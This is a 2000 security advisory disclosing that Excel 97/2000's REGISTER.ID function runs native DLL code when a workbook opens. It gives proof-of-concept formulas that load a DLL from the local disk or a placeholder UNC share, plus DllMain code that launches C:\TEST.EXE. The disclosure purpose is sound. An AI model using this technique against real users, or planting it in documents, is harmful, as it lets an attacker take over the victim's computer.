Excel 2000/97 vulnerability - executing programs
Systems affected: Excel 2000/97 Win98/NT - almost sure other versions/OSes,
have not tested
Risk: High
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this program.Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.
Description:
Excel 2000/97 Windows 98/NT 4.0 (suppose other versions are also vulnerable,
have not tested) allow executing programs when opening an Excel Workbook
(.xls file). This may be also be exploited thru IE or Outlook.
This may lead to taking full control over user's computer.
Details:
The problem is the REGISTER.ID Excel function. It allows executing native
code from a DLL - at least the DllMain() function.
Note: this has nothing to do with VBA code - the code being executed
is native code from a DLL.
In order the exploit to work the user must be able to access a specially
designed DLL, residing either on the local disk or on a UNC share.
The code is:
-------dll3.xls--------------------------------------------
=REGISTER.ID("C:\DLL1.DLL";"dllmain";"a")
=REGISTER.ID("\\UNC\SHARE\DLL1.DLL";"dllmain";"a")
-----------------------------------------------------------
-------dll1.cpp--------------------------------------------
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
// Initialize once
for each new process.
// Return FALSE to
fail DLL load.
// Note: For NT/2000
you may need to move the following code outside the switch()
MessageBox(NULL, "Hello world!", "Info", MB_OK);
MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You
may need to create it.", "Info", MB_OK);
system("C:\\TEST.EXE");
break;
......
---------------------------------------------------
Demonstration is available
Copyright 2000 Georgi Guninski